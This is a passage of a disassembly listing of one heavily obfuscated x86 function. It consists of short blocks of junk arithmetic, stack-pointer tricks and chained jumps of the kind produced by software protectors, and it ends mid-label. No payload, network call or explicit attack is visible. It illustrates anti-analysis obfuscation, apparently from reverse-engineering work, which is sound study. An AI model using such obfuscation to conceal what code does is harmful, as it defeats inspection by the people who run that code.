loc_5BC921:				; CODE XREF: sub_5A55E5+10B58j
		add	edx, 31FE46D9h
		jmp	loc_5AF4A2
; ---------------------------------------------------------------------------


loc_5BC92C:				; CODE XREF: sub_5A55E5+165C4j
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	3B3Dh
		mov	[esp+18h+var_18], edx
		push	26B8h
		mov	[esp+1Ch+var_1C], ecx
		push	eax
		mov	eax, ebx
		mov	ecx, eax
		pop	eax
		push	ebx
		jmp	loc_5B9891
; ---------------------------------------------------------------------------


loc_5BC954:				; CODE XREF: sub_5A55E5+14540j
		mov	ebp, 3DA07271h
		jmp	loc_5BF0AC
; ---------------------------------------------------------------------------


loc_5BC95E:				; CODE XREF: sub_5A55E5+FA7Fj
		mov	ecx, 323F7D44h
		add	ecx, 0FFFFFFFFh
		dec	ecx
		sub	esp, 4
		jmp	loc_5BD4FC
; ---------------------------------------------------------------------------


loc_5BC972:				; CODE XREF: sub_5A55E5+CAD8j
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5BA7FE
; ---------------------------------------------------------------------------


loc_5BC983:				; CODE XREF: sub_5A55E5+188ECj
		push	ebp
		mov	ebp, 67589569h
		add	ecx, ebp
		pop	ebp
		sub	eax, ecx
		pop	ecx
		mov	ecx, [eax]
		jmp	loc_5B3777
; ---------------------------------------------------------------------------


loc_5BC996:				; CODE XREF: sub_5A55E5+1719Bj
		push	[esp+1Ch+var_1C]
		pop	esi
		jmp	loc_5AEDB1
; ---------------------------------------------------------------------------


loc_5BC99F:				; CODE XREF: sub_5A55E5+19667j
		mov	[esp+1Ch+var_1C], edi
		jmp	loc_5B30EF
; ---------------------------------------------------------------------------


loc_5BC9A7:				; CODE XREF: sub_5A55E5+F0E2j
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 45AD7E12h
		inc	ecx
		jmp	loc_5BBBF7
; ---------------------------------------------------------------------------


loc_5BC9B8:				; CODE XREF: sub_5A55E5+C0C3j
		push	[esp+10h+var_10]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 56C20622h
		and	edx, 0E295D08h
		sub	edx, 0A8789AE8h
		add	ebx, edx
		jmp	loc_5AF9D5
; ---------------------------------------------------------------------------


loc_5BC9DB:				; CODE XREF: sub_5A55E5+18D65j
		neg	ebp
		add	ebp, 27EB26ADh
		add	edx, ebp
		pop	ebp
		pop	ecx
		xor	edx, [esp+8+var_8]
		jmp	loc_5B17B7
; ---------------------------------------------------------------------------


loc_5BC9EF:				; CODE XREF: sub_5A55E5+10F94j
		pop	ebp
		add	esp, 4
		push	30FFh
		mov	[esp+56h+var_58+2], ebx
		push	[esp+56h+var_54+2]
		mov	ebx, [esp+5Ah+var_5C+2]
		add	esp, 4
		pop	[esp+56h+var_58+2]
		mov	esp, [esp+52h+var_54+2]
		push	6A34h
		mov	[esp+56h+var_58+2], edx
		push	ecx
		jmp	loc_5B6028
; ---------------------------------------------------------------------------


loc_5BCA1F:				; CODE XREF: sub_5A55E5+11566j
		sub	eax, 704B252Bh
		add	ebp, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5B7AB9
; ---------------------------------------------------------------------------


loc_5BCA32:				; CODE XREF: sub_5A55E5+8C4Dj
		push	edi
		push	3A17h
		mov	[esp+28h+var_2A+2], esp
		push	ebx
		mov	ebx, 4
		add	[esp+2Ch+var_2A+2], ebx
		pop	ebx
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		push	eax
		jmp	loc_5B208F
; ---------------------------------------------------------------------------


loc_5BCA52:				; CODE XREF: sub_5A55E5+B5E4j
		add	edi, 7E721219h
		add	edi, esi
		sub	edi, 7E721219h
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		jmp	loc_5B564E
; ---------------------------------------------------------------------------


loc_5BCA77:				; CODE XREF: sub_5A55E5+11B2Cj
		or	ebp, 5CEB4EAFh
		jmp	loc_5AF6C8
; ---------------------------------------------------------------------------


loc_5BCA82:				; CODE XREF: sub_5A55E5+160A7j
		sub	ebx, 7CFC023Dh
		sub	ebx, 23BF0FE4h
		sub	ebx, esi
		add	ebx, 23BF0FE4h
		push	edi
		jmp	loc_5B7753
; ---------------------------------------------------------------------------


loc_5BCA9C:				; CODE XREF: sub_5A55E5+11EB9j
		sub	ebp, edx
		jmp	loc_5B53E5
; ---------------------------------------------------------------------------


loc_5BCAA3:				; CODE XREF: sub_5A55E5+B064j
		add	eax, ebx
		add	[eax], esi
		pop	eax
		jmp	loc_5AF79D
; ---------------------------------------------------------------------------


loc_5BCAAD:				; CODE XREF: sub_5A55E5+15439j
		mov	ebp, 503F11B0h
		jmp	loc_5B57C4
; ---------------------------------------------------------------------------


loc_5BCAB7:				; CODE XREF: sub_5A55E5+17EE8j
		push	eax
		mov	eax, 631842FAh
		jmp	loc_5A9EB1
; ---------------------------------------------------------------------------


loc_5BCAC2:				; CODE XREF: sub_5A55E5+19092j
		xor	edi, [esp+24h+var_26+2]
		pop	esp
		push	516Eh
		mov	[esp+24h+var_26+2], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5BD8E0
; ---------------------------------------------------------------------------


loc_5BCADC:				; CODE XREF: sub_5A55E5+163B5j
		push	edx
		mov	dl, 0B0h
		or	dl, 0C5h
		sub	dl, 25h
		inc	dl
		push	ecx
		mov	cl, 25h
		xor	dl, cl
		jmp	loc_5BDBFE
; ---------------------------------------------------------------------------


loc_5BCAF1:				; CODE XREF: sub_5A55E5+FAB9j
		push	small word ptr [eax]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BCAF9:				; CODE XREF: sub_5A55E5+FAF0j
		xor	edx, [esp+30h+var_32+2]
		pop	esp
		mov	[esp+2Ch+var_2E+2], ebx
		jmp	loc_5AE330
; ---------------------------------------------------------------------------


loc_5BCB05:				; CODE XREF: sub_5A55E5+17C7Cj
		xor	edi, 7873F705h
		jmp	loc_5B6F1C
; ---------------------------------------------------------------------------


loc_5BCB10:				; CODE XREF: sub_5A55E5+BAFEj
		add	esp, 4
		sub	edx, 463E3E08h
		add	edx, 58C803D1h
		add	edx, edi
		sub	edx, 58C803D1h
		jmp	loc_5AE62B
; ---------------------------------------------------------------------------


loc_5BCB2F:				; CODE XREF: sub_5A55E5+1837Dj
		pop	ebx
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_5B5175
; ---------------------------------------------------------------------------


loc_5BCB3E:				; CODE XREF: sub_5A55E5+F1E5j
		push	[esp+18h+var_18]
		pop	ebx
		push	ecx
		jmp	loc_5BDED6
; ---------------------------------------------------------------------------


loc_5BCB48:				; CODE XREF: sub_5A55E5+14146j
		pop	ebx
		xor	edx, 321B0550h
		push	esi
		mov	esi, 6EBA215Ah
		xor	esi, 2550253Dh
		and	esi, 76B7545Dh
		and	esi, 3C3765A9h
		neg	esi
		sub	esi, 9AAE8A14h
		jmp	loc_5B502E
; ---------------------------------------------------------------------------


loc_5BCB74:				; CODE XREF: sub_5A55E5+175D7j
		push	ebx
		mov	ebx, 4943224Fh
		xor	ebx, 739728BAh
		push	ebp
		mov	ebp, 2EE7E695h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5B81D6
; ---------------------------------------------------------------------------


loc_5BCB8E:				; CODE XREF: sub_5A55E5+12E32j
		push	ecx
		mov	ecx, eax
		mov	edi, ecx
		jmp	loc_5BF3F9
; ---------------------------------------------------------------------------


loc_5BCB98:				; CODE XREF: sub_5A55E5+11E89j
		add	ebp, 4
		push	edx
		push	ebp
		push	61DA73E8h
		pop	ebp
		add	ebp, 9E258C1Ah
		push	ebp
		xor	[esp+2Ch+var_2E+2], 51484666h
		pop	edx
		xor	edx, 51484666h
		pop	ebp
		jmp	loc_5BCB74
; ---------------------------------------------------------------------------


loc_5BCBC1:				; CODE XREF: sub_5A55E5+12940j
		add	al, cl
		add	al, 0Bh
		sub	al, 68h
		sub	al, 4Dh
		pop	ecx
		push	3AB4h
		mov	[esp+18h+var_18], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_5B9683
; ---------------------------------------------------------------------------


loc_5BCBE0:				; CODE XREF: sub_5A55E5+16188j
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		push	edx
		push	edi
		push	3FDB0D64h
		pop	edi
		dec	edi
		add	edi, 51852157h
		shr	edi, 6
		sub	edi, 24580B6h
		jmp	loc_5B69F0
; ---------------------------------------------------------------------------


loc_5BCC03:				; CODE XREF: sub_5A55E5+F775j
		mov	ebp, 1A4F21D6h
		and	ebx, ebp
		pop	ebp
		add	ebx, 84B8C4DDh
		add	edi, ebx
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		sub	ebx, edi
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		push	edi
		push	edx
		jmp	loc_5BDF6D
; ---------------------------------------------------------------------------


loc_5BCC2E:				; CODE XREF: sub_5A55E5+144DEj
		xor	bh, al
		push	[esp+1Ch+var_1C]
		pop	eax
		push	ecx
		jmp	loc_5B23E0
; ---------------------------------------------------------------------------


loc_5BCC3A:				; CODE XREF: sub_5A55E5+1381Bj
		mov	ebp, 256B6212h
		xor	ebp, 52FC0834h
		jmp	loc_5AA7E6
; ---------------------------------------------------------------------------


loc_5BCC4A:				; CODE XREF: sub_5A55E5+F7F3j
		sub	esi, 43EA6125h
		sub	esi, ebp
		add	esi, 43EA6125h
		push	3CFDh
		mov	[esp+36h+var_36], edi
		mov	edi, 2F47073Dh
		sub	edi, 7BE10886h
		shl	edi, 5
		sub	edi, 3724426Dh
		push	ebx
		jmp	loc_5B2F8F
; ---------------------------------------------------------------------------


loc_5BCC7A:				; CODE XREF: sub_5A55E5+85ADj
		pop	esp
		shl	ebx, 3
		xor	ebx, 8839DCB4h
		push	ecx
		jmp	loc_5AC9BE
; ---------------------------------------------------------------------------


loc_5BCC8A:				; CODE XREF: sub_5A55E5+CC08j
		pop	ebp
		jmp	loc_5B4AFC
; ---------------------------------------------------------------------------


loc_5BCC90:				; CODE XREF: sub_5A55E5+19256j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		jmp	loc_5BB1A8
; ---------------------------------------------------------------------------


loc_5BCCA4:				; CODE XREF: sub_5A55E5+7296j
		add	esp, 4
		jmp	loc_5BF450
; ---------------------------------------------------------------------------


loc_5BCCAF:				; CODE XREF: sub_5A55E5+6E8Dj
		mov	edx, 31B365Dh
		shl	edx, 4
		sub	edx, 0F02D1FD2h
		push	edi
		mov	edi, 4AEF5C46h
		sub	esi, edi
		pop	edi
		add	esi, edx
		jmp	loc_5BAD37
; ---------------------------------------------------------------------------


loc_5BCCCD:				; CODE XREF: sub_5A55E5+9151j
		mov	ebp, edi
		mov	edi, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_5B4BF9
; ---------------------------------------------------------------------------


loc_5BCCDA:				; CODE XREF: sub_5A55E5+14579j
		push	esi
		push	small 2BA3h
		mov	si, word ptr [esp+26h+var_26]
		add	esp, 2
		push	ax
		mov	ax, 4C25h
		sub	si, ax
		jmp	loc_5B259E
; ---------------------------------------------------------------------------


loc_5BCCF4:				; CODE XREF: sub_5A55E5+14036j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		jmp	loc_5B734E
; ---------------------------------------------------------------------------


loc_5BCD07:				; CODE XREF: sub_5A55E5+12104j
		mov	ebx, 4D056075h
		xor	edx, ebx
		pop	ebx
		pop	edi
		push	317Bh
		mov	[esp+24h+var_26+2], eax
		mov	eax, 40A67A54h
		push	ecx
		mov	ecx, 3ACB008Ch
		or	ecx, 6B722665h
		jmp	loc_5B5965
; ---------------------------------------------------------------------------


loc_5BCD2E:				; CODE XREF: sub_5A55E5+12DFDj
		mov	[esp+2Ch+var_2E+2], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5BCE4E
; ---------------------------------------------------------------------------


loc_5BCD3D:				; CODE XREF: sub_5A55E5+151B1j
		add	edx, ebp
		pop	ebp
		push	40CBh
		jmp	loc_5B0028
; ---------------------------------------------------------------------------


loc_5BCD4A:				; CODE XREF: sub_5A55E5+12A88j
		dec	eax
		shl	eax, 8
		push	ebx
		mov	ebx, 5609512Eh
		or	ebx, 15724B36h
		and	ebx, 1F625D86h
		push	ecx
		mov	ecx, 7F472034h
		and	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 39A503D9h
		push	edx
		mov	edx, 43FE688Fh
		or	ebp, edx
		jmp	loc_5B2836
; ---------------------------------------------------------------------------


loc_5BCD7C:				; DATA XREF: sub_5A55E5+42FFo
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		jmp	loc_5AA92F
; ---------------------------------------------------------------------------


loc_5BCD87:				; CODE XREF: sub_5A55E5+1431Bj
		mov	edi, 264D1B51h
		or	ecx, edi
		jmp	loc_5BD57C
; ---------------------------------------------------------------------------


loc_5BCD93:				; CODE XREF: sub_5A55E5+10DE0j
		sub	ecx, 1FFB1C19h
		jmp	loc_5ADFE0
; ---------------------------------------------------------------------------


loc_5BCD9E:				; CODE XREF: sub_5A55E5+B946j
		add	esp, 4
		sub	edx, 58E642CCh
		jmp	loc_5BDBA0
; ---------------------------------------------------------------------------


loc_5BCDAF:				; CODE XREF: sub_5A55E5+122E9j
		mov	eax, 17951CA9h
		mov	edi, eax
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		push	esi
		mov	esi, 38EA1B94h
		or	esi, 39DE6B6Bh
		sub	esi, 1ED13275h
		add	esi, 0ABFB88F7h
		sub	edi, esi
		pop	esi
		add	ebx, edi
		jmp	loc_5AF9B1
; ---------------------------------------------------------------------------


loc_5BCDE1:				; CODE XREF: sub_5A55E5+150C0j
		xor	edi, 65E81C10h
		shl	edi, 7
		jmp	loc_5ADDC8
; ---------------------------------------------------------------------------


loc_5BCDEF:				; CODE XREF: sub_5A55E5+1569Bj
		xchg	eax, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		mov	[esp+2Ah+var_2A], ebx
		mov	ebx, 8C83D87h
		jmp	loc_5B4F41
; ---------------------------------------------------------------------------


loc_5BCE02:				; CODE XREF: sub_5A55E5+C4A5j
		sub	edx, 40FD18C6h
		pop	esi
		add	edx, 4
		xchg	edx, [esp+2Eh+var_2E]
		jmp	loc_5B430C
; ---------------------------------------------------------------------------


loc_5BCE14:				; CODE XREF: sub_5A55E5+11D51j
		add	esp, 4
		jmp	loc_5BB329
; ---------------------------------------------------------------------------


loc_5BCE1C:				; CODE XREF: sub_5A55E5+13C3Dj
		mov	[esp+58h+var_58], edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		jmp	loc_5B6AB4
; ---------------------------------------------------------------------------


loc_5BCE2C:				; CODE XREF: sub_5A55E5+D70Ej
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp+42h+var_42]
		pop	esp
		mov	ecx, [esp+3Eh+var_3E]
		jmp	loc_5B38D4
; ---------------------------------------------------------------------------


loc_5BCE3C:				; CODE XREF: sub_5A55E5+4990j
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 46FE73C5h
		push	4BE4h
		jmp	loc_5B4672
; ---------------------------------------------------------------------------


loc_5BCE4E:				; CODE XREF: sub_5A55E5+17753j
		add	eax, 4
		jmp	loc_5B72FC
; ---------------------------------------------------------------------------


loc_5BCE58:				; CODE XREF: sub_5A55E5+71BCj
		mov	[esp+20h+var_22+2], ebx
		mov	bh, ah
		mov	dh, bh
		jmp	loc_5BEB2F
; ---------------------------------------------------------------------------


loc_5BCE64:				; CODE XREF: sub_5A55E5+889Bj
		add	esp, 4
		push	edi
		mov	edi, 37CA4C48h
		dec	edi
		shr	edi, 4
		jmp	loc_5B3C5F
; ---------------------------------------------------------------------------


loc_5BCE76:				; CODE XREF: sub_5A55E5+193E3j
		xchg	edx, [esp+22h+var_22]
		jmp	loc_5B7708
; ---------------------------------------------------------------------------


loc_5BCE7E:				; CODE XREF: sub_5A55E5+B5FDj
		mov	[esp+1Ch+var_1C], esi
		jmp	loc_5ADEE4
; ---------------------------------------------------------------------------


loc_5BCE86:				; CODE XREF: sub_5A55E5+14F60j
		push	[esp+24h+var_26+2]
		jmp	loc_5AD02E
; ---------------------------------------------------------------------------


loc_5BCE8E:				; CODE XREF: sub_5A55E5+148E8j
		mov	edi, 463436E6h
		jmp	loc_5AD352
; ---------------------------------------------------------------------------


loc_5BCE98:				; CODE XREF: sub_5A55E5+A8AAj
		sub	esp, 4
		mov	[esp+32h+var_32], ecx
		mov	ecx, 767655AAh
		sub	[esp+32h+var_2A], ecx
		mov	ecx, [esp+32h+var_32]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+36h+var_36]
		pop	esp
		push	[esp+32h+var_32]
		mov	eax, [esp+36h+var_36]
		push	edi
		jmp	loc_5B4389
; ---------------------------------------------------------------------------


loc_5BCECF:				; CODE XREF: sub_5A55E5+BB55j
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		push	75BAh
		push	esp
		pop	[esp+20h+var_22+2]
		add	[esp+1Ch+var_1C], 4
		pop	[esp+1Ch+var_1C]
		jmp	loc_5B0300
; ---------------------------------------------------------------------------


loc_5BCEF1:				; DATA XREF: sub_5A55E5+428Bo
		lodsd
		jmp	loc_5BF037
; ---------------------------------------------------------------------------


loc_5BCEF7:				; CODE XREF: sub_5A55E5+11623j
		mov	[esp+18h+var_18], esi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esp
		jmp	loc_5AEB4C
; ---------------------------------------------------------------------------


loc_5BCF08:				; CODE XREF: sub_5A55E5+63A8j
		sub	edx, 10A6614h
		add	edx, esi
		push	ebp
		mov	ebp, 10A6614h
		add	edx, ebp
		jmp	loc_5AD296
; ---------------------------------------------------------------------------


loc_5BCF1D:				; DATA XREF: sub_5A55E5+421Fo
		mov	ax, word ptr [esp+14h+var_14]
		jmp	loc_5B08E5
; ---------------------------------------------------------------------------


loc_5BCF26:				; CODE XREF: sub_5A55E5+19CE1j
		mov	ebp, 3A2A3AECh
		mov	ecx, ebp
		pop	ebp
		not	ecx
		jmp	loc_5A9F52
; ---------------------------------------------------------------------------


loc_5BCF35:				; CODE XREF: sub_5A55E5+142F6j
		pop	ebx
		add	esp, 4
		add	esp, 4
		push	[esp+30h+var_32+2]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5AAA1C
; ---------------------------------------------------------------------------


loc_5BCF48:				; CODE XREF: sub_5A55E5+15C57j
		xor	ebx, ebp
		jmp	loc_5BB6DE
; ---------------------------------------------------------------------------


loc_5BCF4F:				; DATA XREF: sub_5A55E5+4303o
		lodsb
		jmp	loc_5B0F8F
; ---------------------------------------------------------------------------


loc_5BCF55:				; CODE XREF: sub_5A55E5+13423j
		push	ecx
		mov	ecx, 42AC6F7Eh
		mov	edx, ecx
		pop	ecx
		mov	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_5ABFA9
; ---------------------------------------------------------------------------


loc_5BCF67:				; CODE XREF: sub_5A55E5+BD30j
		sub	edx, 0FED9DDE7h
		sub	ebx, edx
		jmp	loc_5B9E02
; ---------------------------------------------------------------------------


loc_5BCF74:				; CODE XREF: sub_5A55E5+169B8j
		push	2
		pop	ebp
		add	ecx, ebp
		jmp	loc_5B6871
; ---------------------------------------------------------------------------


loc_5BCF81:				; CODE XREF: sub_5A55E5+980Cj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AE822
; ---------------------------------------------------------------------------


loc_5BCF91:				; CODE XREF: sub_5A55E5+149BBj
		pop	eax
		sub	al, 0AAh
		add	al, 0CAh
		add	al, bh
		sub	al, 0CAh
		add	al, 0AAh
		jmp	loc_5ADECD
; ---------------------------------------------------------------------------


loc_5BCFA1:				; CODE XREF: sub_5A55E5+92D1j
		pop	[esp+28h+var_2A+2]
		xchg	eax, edi
		push	edi
		jmp	loc_5ACC44
; ---------------------------------------------------------------------------


loc_5BCFAB:				; CODE XREF: sub_5A55E5+B2C8j
		mov	ebp, esp
		push	ecx
		mov	ecx, 330A3801h
		dec	ecx
		push	ebp
		mov	ebp, 20CB734Dh
		add	ebp, 5B5F0192h
		jmp	loc_5AB51C
; ---------------------------------------------------------------------------


loc_5BCFC5:				; CODE XREF: sub_5A55E5+4AB8j
		pop	esp
		sub	bl, 3Fh
		sub	bl, 0D1h
		jmp	loc_5BEA52
; ---------------------------------------------------------------------------


loc_5BCFD1:				; CODE XREF: sub_5A55E5+92F5j
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ecx
		push	22CEh
		mov	[esp+2Ch+var_2E+2], edi
		push	ebp
		jmp	loc_5AA3EC
; ---------------------------------------------------------------------------


loc_5BCFEA:				; CODE XREF: sub_5A55E5+15ACEj
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_5AEE78
; ---------------------------------------------------------------------------


loc_5BCFF2:				; CODE XREF: sub_5A55E5+108E9j
		mov	ebx, 58A4061Bh
		shl	ebx, 3
		dec	ebx
		shl	ebx, 2
		inc	ebx
		inc	ebx
		add	ebx, 996AE3Ch
		sub	eax, ebx
		pop	ebx
		add	eax, esi
		add	eax, 1E17719Ah
		pop	esi
		push	[esp+32h+var_32]
		jmp	loc_5B44FC
; ---------------------------------------------------------------------------


loc_5BD019:				; CODE XREF: sub_5A55E5+98EAj
		neg	ebp
		xchg	ebp, ebx
		inc	ebx
		not	ebx
		or	ebx, 10DD2663h
		add	ebx, 0C447A53h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5B30CD
; ---------------------------------------------------------------------------


loc_5BD034:				; CODE XREF: sub_5A55E5+142CCj
		add	esi, 4
		jmp	loc_5B3E84
; ---------------------------------------------------------------------------


loc_5BD03F:				; CODE XREF: sub_5A55E5+166AEj
		push	esi
		push	[esp+30h+var_2E+2]
		jmp	loc_5B2E2F
; ---------------------------------------------------------------------------


loc_5BD049:				; CODE XREF: sub_5A55E5+6405j
		add	edi, 2DE449FAh
		jmp	loc_5AE1F5
; ---------------------------------------------------------------------------


loc_5BD054:				; CODE XREF: sub_5A55E5+109E8j
		pop	ebx
		sub	eax, 586242FAh
		sub	eax, ebx
		add	eax, 586242FAh
		push	edi
		mov	edi, 6A9B6E00h
		sub	esp, 4
		jmp	loc_5B86C6
; ---------------------------------------------------------------------------


loc_5BD072:				; CODE XREF: sub_5A55E5+77E4j
		pop	edi
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BD07E:				; CODE XREF: sub_5A55E5+182E7j
		sub	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], esp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 4
		add	[esp+1Ch+var_18], eax
		jmp	loc_5AAF95
; ---------------------------------------------------------------------------


loc_5BD0A1:				; CODE XREF: sub_5A55E5+874Ej
		mov	ebx, [esp+2Eh+var_2E]
		add	esp, 4
		sub	eax, 7F4C657Fh
		jmp	loc_5AFB7B
; ---------------------------------------------------------------------------


loc_5BD0B1:				; CODE XREF: sub_5A55E5+19150j
		sub	ebp, 7E9520B1h
		jmp	loc_5B5BE1
; ---------------------------------------------------------------------------


loc_5BD0BC:				; CODE XREF: sub_5A55E5+181F9j
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+2Ah+var_2A]
		jmp	loc_5AE8D4
; ---------------------------------------------------------------------------


loc_5BD0D4:				; CODE XREF: sub_5A55E5+8274j
		sub	edx, 23DE0C97h
		add	edx, ecx
		add	edx, 23DE0C97h
		add	edx, 587440Ah
		add	edx, 3EED7AFDh
		pop	ecx
		sub	edi, edx
		mov	edx, [esp+20h+var_22+2]
		push	eax
		push	196Bh
		jmp	loc_5AF3DF
; ---------------------------------------------------------------------------


loc_5BD0FF:				; CODE XREF: sub_5A55E5+113C1j
		add	esp, 4
		push	edx
		push	4AB9h
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, esp
		jmp	loc_5ACD21
; ---------------------------------------------------------------------------


loc_5BD115:				; CODE XREF: sub_5A55E5+84FFj
		xor	edx, 0BEB6AF77h
		mov	eax, edx
		pop	edx
		jmp	loc_5A9B38
; ---------------------------------------------------------------------------


loc_5BD123:				; CODE XREF: sub_5A55E5+14164j
		sub	eax, 19F64F07h
		sub	edx, 2CD31A31h
		push	66A1h
		mov	[esp+5Ch+var_5C], ebx
		mov	ebx, 61714C74h
		sub	edx, ebx
		jmp	loc_5ACC38
; ---------------------------------------------------------------------------


loc_5BD142:				; CODE XREF: sub_5A55E5+15E49j
		pop	esp
		and	ecx, esi
		pop	esi
		shr	ecx, 6
		jmp	loc_5AE9C7
; ---------------------------------------------------------------------------


loc_5BD14E:				; CODE XREF: sub_5A55E5+6A9Ej
		add	edi, ecx
		add	edi, 42DC1A6Ah
		pop	ecx
		jmp	loc_5BA031
; ---------------------------------------------------------------------------


loc_5BD15C:				; CODE XREF: sub_5A55E5+19CD7j
		push	[esp+4Ah+var_46]
		jmp	loc_5B0EAD
; ---------------------------------------------------------------------------


loc_5BD165:				; CODE XREF: sub_5A55E5+11012j
		pop	edx
		jmp	loc_5B3FCC
; ---------------------------------------------------------------------------


loc_5BD16B:				; CODE XREF: sub_5A55E5+15048j
		mov	ecx, 2FC24D26h
		not	ecx
		push	ebx
		mov	ebx, 59B57C70h
		xor	ebx, 5F025B51h
		not	ebx
		push	edx
		mov	edx, 555436C3h
		jmp	loc_5B6134
; ---------------------------------------------------------------------------


loc_5BD18B:				; CODE XREF: sub_5A55E5+BB30j
		push	edi
		jmp	loc_5AC2B1
; ---------------------------------------------------------------------------


loc_5BD191:				; DATA XREF: sub_5A55E5+4223o
		neg	byte ptr [esp+14h+var_14]
		pushf
		jmp	loc_5BEAB9
; ---------------------------------------------------------------------------


loc_5BD19A:				; CODE XREF: sub_5A55E5+6A2Aj
		add	esp, 4
		jmp	loc_5AEF10
; ---------------------------------------------------------------------------


loc_5BD1A5:				; CODE XREF: sub_5A55E5+11163j
		sub	edx, 57834BD0h
		jmp	loc_5ABC7C
; ---------------------------------------------------------------------------


loc_5BD1B0:				; CODE XREF: sub_5A55E5+17D8Cj
		mov	esi, 393D59FAh
		jmp	loc_5BA374
; ---------------------------------------------------------------------------


loc_5BD1BA:				; CODE XREF: sub_5A55E5+FA97j
		pop	eax
		add	edx, eax
		sub	esp, 4
		mov	[esp+26h+var_26], ebp
		mov	ebp, 6323503Bh
		sub	edx, ebp
		pop	ebp
		mov	eax, [esp+22h+var_22]
		jmp	loc_5ACB82
; ---------------------------------------------------------------------------


loc_5BD1D6:				; CODE XREF: sub_5A55E5+82D3j
		add	bl, 0F0h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+36h+var_36]
		jmp	loc_5AE1ED
; ---------------------------------------------------------------------------


loc_5BD1F0:				; CODE XREF: sub_5A55E5+14792j
		add	esp, 4
		add	esi, 4
		push	867h
		mov	[esp+2Ch+var_2E+2], eax
		mov	eax, 59031A67h
		and	eax, 51FF431Bh
		dec	eax
		dec	eax
		shr	eax, 5
		jmp	loc_5B83C2
; ---------------------------------------------------------------------------


loc_5BD215:				; CODE XREF: sub_5A55E5+1106Cj
		xor	al, bl
		push	38D5h
		mov	[esp+18h+var_18], ebx
		jmp	loc_5BF36A
; ---------------------------------------------------------------------------


loc_5BD224:				; CODE XREF: sub_5A55E5+109B1j
		mov	ecx, 64884349h
		sub	ecx, edi
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		mov	ebp, ecx
		pop	ecx
		add	esi, ebp
		mov	ebp, [esp+20h+var_22+2]
		jmp	loc_5AC7FF
; ---------------------------------------------------------------------------


loc_5BD241:				; CODE XREF: sub_5A55E5+62F9j
		add	ebp, esi
		jmp	loc_5B1A04
; ---------------------------------------------------------------------------


loc_5BD248:				; CODE XREF: sub_5A55E5+B06Bj
		mov	ecx, 7A150825h
		add	ecx, 22E07A9Eh
		jmp	loc_5B3708
; ---------------------------------------------------------------------------


loc_5BD258:				; CODE XREF: sub_5A55E5+7189j
		mov	[esp-0Ch+arg_8], ebp
		jmp	loc_5BECFA
; ---------------------------------------------------------------------------


loc_5BD260:				; CODE XREF: sub_5A55E5+1349Ej
		pop	ebp
		jmp	loc_5BCB05
; ---------------------------------------------------------------------------


loc_5BD266:				; CODE XREF: sub_5A55E5+B8E2j
		and	eax, edi
		push	[esp+12h+var_14+2]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+16h+var_18+2]
		jmp	loc_5B9221
; ---------------------------------------------------------------------------


loc_5BD280:				; CODE XREF: sub_5A55E5+19CC9j
		sub	[esp+16h+var_18+2], 772B38ECh
		pop	esi
		jmp	loc_5B531C
; ---------------------------------------------------------------------------


loc_5BD28D:				; CODE XREF: sub_5A55E5+12955j
		not	ebx
		add	ebx, 0A3D64FB3h
		add	edx, ebx
		jmp	loc_5B1A87
; ---------------------------------------------------------------------------


loc_5BD29C:				; CODE XREF: sub_5A55E5+154CFj
